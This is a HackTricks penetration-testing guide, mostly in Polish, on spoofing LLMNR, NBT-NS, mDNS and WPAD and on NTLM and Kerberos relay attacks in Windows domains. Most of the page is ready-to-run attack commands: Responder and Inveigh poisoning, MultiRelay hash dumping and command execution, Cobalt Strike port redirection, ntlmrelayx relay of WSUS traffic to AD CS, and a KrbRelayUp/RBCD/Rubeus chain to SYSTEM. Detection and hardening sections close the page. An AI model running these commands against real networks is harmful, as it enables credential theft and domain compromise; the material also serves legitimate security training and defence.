Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Reading time: 14 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Protokóły sieciowe

Lokalne protokoły rozwiązywania nazw hostów

  • LLMNR, NBT-NS, i mDNS:
  • Microsoft i inne systemy operacyjne używają LLMNR i NBT-NS do lokalnego rozwiązywania nazw, gdy DNS zawiedzie. Podobnie systemy Apple i Linux używają mDNS.
  • Te protokoły są podatne na przechwytywanie i spoofing ze względu na brak uwierzytelnienia oraz ich charakter broadcastowy przez UDP.
  • Responder może być użyty do podszywania się pod usługi poprzez wysyłanie sfałszowanych odpowiedzi do hostów wykonujących zapytania do tych protokołów.
  • Więcej informacji o podszywaniu się pod usługi z użyciem Responder można znaleźć tutaj.

Web Proxy Auto-Discovery Protocol (WPAD)

  • WPAD pozwala przeglądarkom automatycznie wykrywać ustawienia proxy.
  • Wykrywanie odbywa się przez DHCP, DNS lub fallback do LLMNR i NBT-NS, jeśli DNS zawiedzie.
  • Responder może zautomatyzować ataki WPAD, kierując klientów do złośliwych serwerów WPAD.

Responder for Protocol Poisoning

  • Responder to narzędzie używane do zatruwania zapytań LLMNR, NBT-NS i mDNS, selektywnie odpowiadające w zależności od typu zapytania, głównie celując w usługi SMB.
  • Jest preinstalowany w Kali Linux i konfigurowalny w /etc/responder/Responder.conf.
  • Responder wyświetla przechwycone hashe na ekranie i zapisuje je w katalogu /usr/share/responder/logs.
  • Obsługuje zarówno IPv4, jak i IPv6.
  • Wersja Responder dla Windows jest dostępna tutaj.

Running Responder

  • Aby uruchomić Responder z domyślnymi ustawieniami: responder -I <Interface>
  • Dla bardziej agresywnego sondowania (z możliwymi skutkami ubocznymi): responder -I <Interface> -P -r -v
  • Techniki do przechwytywania wyzwań/odpowiedzi NTLMv1 dla łatwiejszego łamania: responder -I <Interface> --lm --disable-ess
  • Podszywanie się pod WPAD można aktywować poprzez: responder -I <Interface> --wpad
  • Żądania NetBIOS mogą być rozwiązywane na IP atakującego, i można ustawić proxy uwierzytelniające: responder.py -I <interface> -Pv

DHCP Poisoning with Responder

  • Fałszowanie odpowiedzi DHCP może trwale zatruć informacje routingu ofiary, oferując mniej inwazyjną alternatywę dla ARP poisoning.
  • Wymaga precyzyjnej wiedzy o konfiguracji docelowej sieci.
  • Uruchomienie ataku: ./Responder.py -I eth0 -Pdv
  • Ta metoda może efektywnie przechwytywać hashe NTLMv1/2, ale wymaga ostrożnego obchodzenia się z siecią, aby uniknąć zakłóceń.

Capturing Credentials with Responder

  • Responder będzie podszywał się pod usługi używając wyżej wymienionych protokołów, przechwytując poświadczenia (zwykle NTLMv2 Challenge/Response), gdy użytkownik spróbuje uwierzytelnić się przeciwko sfałszowanym usługom.
  • Można podejmować próby obniżenia wersji do NetNTLMv1 lub wyłączenia ESS, aby ułatwić łamanie poświadczeń.

Ważne jest, aby stosowanie tych technik odbywało się legalnie i etycznie, z odpowiednim upoważnieniem oraz bez powodowania zakłóceń lub nieautoryzowanego dostępu.

Inveigh

Inveigh jest narzędziem dla penetration testerów i red teamerów, zaprojektowanym dla systemów Windows. Oferuje funkcjonalności podobne do Responder, wykonując spoofing i man-in-the-middle attacks. Narzędzie ewoluowało z skryptu PowerShell do binarki w C#, a główne wersje to Inveigh i InveighZero. Szczegółowe parametry i instrukcje można znaleźć w wiki.

Inveigh można obsługiwać za pomocą PowerShell:

bash
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

Lub uruchomione jako plik binarny C#:

bash
Inveigh.exe

NTLM Relay Attack

Ten atak wykorzystuje sesje uwierzytelniania SMB do uzyskania dostępu do maszyny docelowej, przyznając powłokę systemową, jeśli się powiedzie. Kluczowe wymagania wstępne obejmują:

  • Użytkownik uwierzytelniający się musi mieć dostęp Local Admin na hoście, na który przekazywane jest połączenie.
  • SMB signing powinno być wyłączone.

445 Port Forwarding and Tunneling

W sytuacjach, gdy bezpośrednie wprowadzenie do sieci nie jest możliwe, ruch na porcie 445 musi być przekierowany i tunelowany. Narzędzia takie jak PortBender pomagają przekierować ruch z portu 445 na inny port, co jest istotne, gdy dostęp Local Admin pozwala na załadowanie sterownika.

Konfiguracja i użycie PortBender w Cobalt Strike:

bash
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

Inne narzędzia dla NTLM Relay Attack

  • Metasploit: Skonfiguruj z proxy oraz szczegółami hosta lokalnego i zdalnego.
  • smbrelayx: Skrypt w Pythonie do relaying sesji SMB oraz wykonywania poleceń lub wdrażania backdoors.
  • MultiRelay: Narzędzie z pakietu Responder do relay konkretnych użytkowników lub wszystkich użytkowników, wykonywania poleceń lub dump hashes.

Każde narzędzie można skonfigurować do działania przez SOCKS proxy w razie potrzeby, co umożliwia ataki nawet przy pośrednim dostępie do sieci.

Działanie MultiRelay

MultiRelay jest uruchamiany z katalogu /usr/share/responder/tools, celując w konkretne adresy IP lub użytkowników.

bash
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

These tools and techniques form a comprehensive set for conducting NTLM Relay attacks in various network environments.

Abusing WSUS HTTP (8530) for NTLM Relay to LDAP/SMB/AD CS (ESC8)

WSUS clients authenticate to their update server using NTLM over HTTP (8530) or HTTPS (8531). When HTTP is enabled, periodic client check-ins can be coerced or intercepted on the local segment and relayed with ntlmrelayx to LDAP/LDAPS/SMB or AD CS HTTP endpoints (ESC8) without cracking any hashes. This blends into normal update traffic and frequently yields machine-account authentications (HOST$).

What to look for

  • GPO/registry configuration under HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate and ...\WindowsUpdate\AU:
  • WUServer (e.g., http://wsus.domain.local:8530)
  • WUStatusServer (reporting URL)
  • UseWUServer (1 = WSUS; 0 = Microsoft Update)
  • DetectionFrequencyEnabled and DetectionFrequency (hours)
  • WSUS SOAP endpoints used by clients over HTTP:
  • /ClientWebService/client.asmx (approvals)
  • /ReportingWebService/reportingwebservice.asmx (status)
  • Default ports: 8530/tcp HTTP, 8531/tcp HTTPS

Reconnaissance

  • Unauthenticated
  • Scan for listeners: nmap -sSVC -Pn --open -p 8530,8531 -iL
  • Sniff HTTP WSUS traffic via L2 MITM and log active clients/endpoints with wsusniff.py (HTTP only unless you can make clients trust your TLS cert).
  • Authenticated
  • Parse SYSVOL GPOs for WSUS keys with MANSPIDER + regpol (wsuspider.sh wrapper summarises WUServer/WUStatusServer/UseWUServer).
  • Query endpoints at scale from hosts (NetExec) or locally: nxc smb -u -p -M reg-query -o PATH="HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" KEY="WUServer" reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate

End-to-end HTTP relay steps

  1. Position for MITM (same L2) so a client resolves the WSUS server to you (ARP/DNS poisoning, Bettercap, mitm6, etc.). Example with arpspoof: arpspoof -i -t <wsus_client_ip> <wsus_server_ip>

  2. Redirect port 8530 to your relay listener (optional, convenient): iptables -t nat -A PREROUTING -p tcp --dport 8530 -j REDIRECT --to-ports 8530 iptables -t nat -L PREROUTING --line-numbers

  3. Start ntlmrelayx with the HTTP listener (requires Impacket support for HTTP listener; see PRs below): ntlmrelayx.py -t ldap:// -smb2support -socks --keep-relaying --http-port 8530

Other common targets:

  • Relay to SMB (if signing off) for exec/dump: -t smb://
  • Relay to LDAPS for directory changes (e.g., RBCD): -t ldaps://
  • Relay to AD CS web enrollment (ESC8) to mint a cert and then authenticate via Schannel/PKINIT: ntlmrelayx.py --http-port 8530 -t http:///certsrv/certfnsh.asp --adcs --no-http-server For deeper AD CS abuse paths and tooling, see the AD CS page:

AD CS Domain Escalation

  1. Trigger a client check-in or wait for schedule. From a client: wuauclt.exe /detectnow or use the Windows Update UI (Check for updates).

  2. Use the authenticated SOCKS sessions (if -socks) or direct relay results for post-exploitation (LDAP changes, SMB ops, or AD CS certificate issuance for later authentication).

HTTPS constraint (8531)

  • Passive interception of WSUS over HTTPS is ineffective unless clients trust your certificate. Without a trusted cert or other TLS break, the NTLM handshake can’t be harvested/relayed from WSUS HTTPS traffic.

Notes

  • WSUS was announced deprecated but remains widely deployed; HTTP (8530) is still common in many environments.
  • Useful helpers: wsusniff.py (observe HTTP WSUS check-ins), wsuspider.sh (enumerate WUServer/WUStatusServer from GPOs), NetExec reg-query at scale.
  • Impacket restored HTTP listener support for ntlmrelayx in PR #2034 (originally added in PR #913).

Force NTLM Logins

In Windows you may be able to force some privileged accounts to authenticate to arbitrary machines. Read the following page to learn how:

Force NTLM Privileged Authentication

Kerberos Relay attack

A Kerberos relay attack steals an AP-REQ ticket from one service and re-uses it against a second service that shares the same computer-account key (because both SPNs sit on the same $ machine account). This works even though the SPNs’ service classes differ (e.g. CIFS/LDAP/) because the key that decrypts the ticket is the machine’s NT hash, not the SPN string itself and the SPN string is not part of the signature.

Unlike NTLM relay, the hop is limited to the same host but, if you target a protocol that lets you write to LDAP, you can chain into Resource-Based Constrained Delegation (RBCD) or AD CS enrollment and pop NT AUTHORITY\SYSTEM in a single shot.

For detailed info about this attack check:

TokenPurposeRelay relevance
TGT / AS-REQ ↔ REPProves the user to the KDCuntouched
Service ticket / TGS-REQ ↔ REPBound to one SPN; encrypted with the SPN owner’s keyinterchangeable if SPNs share account
AP-REQClient sends TGS to the servicewhat we steal & replay
  • Tickets are encrypted with the password-derived key of the account that owns the SPN.
  • The Authenticator inside the AP-REQ has a 5-minute timestamp; replay inside that window is valid until the service cache sees a duplicate.
  • Windows rarely checks if the SPN string in the ticket matches the service you hit, so a ticket for CIFS/HOST normally decrypts fine on LDAP/HOST.
    1. What must be true to relay Kerberos
  1. Shared key: source and target SPNs belong to the same computer account (default on Windows servers).
  2. No channel protection: SMB/LDAP signing off and EPA off for HTTP/LDAPS.
  3. You can intercept or coerce authentication: LLMNR/NBNS poison, DNS spoof, PetitPotam / DFSCoerce RPC, fake AuthIP, rogue DCOM, etc..
  4. Ticket source not already used: you win the race before the real packet hits or block it entirely; otherwise the server’s replay cache fires Event 4649.
  5. You need to somehow be able to perform a MitM in the communication maybe being part of the DNSAmins group to modify the DNS of the domain or being able to change the HOST file of the victim.

Kerberos Relay Steps

  • 3.1 Recon the host
powershell
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
  • 3.2 Uruchom relay listener

KrbRelayUp

powershell
# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8

KrbRelayUp pakuje KrbRelay → LDAP → RBCD → Rubeus → SCM bypass w jednym binarnym pliku.

  • 3.3 Wymuszanie Kerberos auth
powershell
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50

DFSCoerce powoduje, że DC wysyła do nas bilet Kerberos CIFS/DC01.

  • 3.4 Relay the AP-REQ

KrbRelay wyodrębnia GSS blob z SMB, opakowuje go w LDAP bind i przekazuje do ldap://DC01—uwierzytelnianie kończy się sukcesem, ponieważ ten sam klucz go odszyfrowuje.

  • 3.5 Abuse LDAP ➜ RBCD ➜ SYSTEM
powershell
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe

Teraz posiadasz NT AUTHORITY\SYSTEM.

Więcej ścieżek wartych poznania

VectorTrickWhy it matters
AuthIP / IPSecFałszywy serwer wysyła GSS-ID payload z dowolnym SPN; klient buduje AP-REQ bezpośrednio do CiebieDziała nawet między podsieciami; machine creds domyślnie
DCOM / MSRPCZłośliwy OXID resolver zmusza klienta do uwierzytelnienia się na dowolny SPN i portPure local priv-esc; omija firewall
AD CS Web EnrollRelay machine ticket do HTTP/CA i zdobądź cert, potem PKINIT by wykonać mint TGTsOmija mechanizmy podpisywania LDAP
Shadow CredentialsZapisz msDS-KeyCredentialLink, potem PKINIT z podrobioną parą kluczyBrak konieczności dodawania konta komputerowego

Rozwiązywanie problemów

ErrorMeaningFix
KRB_AP_ERR_MODIFIEDTicket key ≠ target keyZły host/SPN
KRB_AP_ERR_SKEWZegar > 5 min różnicySynchronizuj czas lub użyj w32tm
LDAP bind failsWymuszono podpisywanieUżyj ścieżki AD CS lub wyłącz podpisywanie
Event 4649 spamUsługa wykryła zduplikowany Authenticatorzablokuj lub 'race' oryginalny pakiet

Wykrywanie

  • Wzrost liczby Event 4769 dla CIFS/, HTTP/, LDAP/ z tego samego źródła w ciągu kilku sekund.
  • Event 4649 na usłudze wskazuje na wykryte replay.
  • Logon Kerberos z 127.0.0.1 (relay do lokalnego SCM) jest wysoce podejrzany — zmapuj za pomocą reguły Sigma w dokumentacji KrbRelayUp.
  • Monitoruj zmiany atrybutów msDS-AllowedToActOnBehalfOfOtherIdentity lub msDS-KeyCredentialLink.

Wzmocnienie zabezpieczeń

  1. Wymuś podpisywanie LDAP i SMB + EPA na każdym serwerze.
  2. Rozdziel SPN-y tak, aby HTTP nie było na tym samym koncie co CIFS/LDAP.
  3. Załatuj wektory przymusu (PetitPotam KB5005413, DFS, AuthIP).
  4. Ustaw ms-DS-MachineAccountQuota = 0 aby zatrzymać przyłączanie się nieautoryzowanych komputerów.
  5. Generuj alerty dla Event 4649 i nieoczekiwanych logonów Kerberos na loopback.

Źródła

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks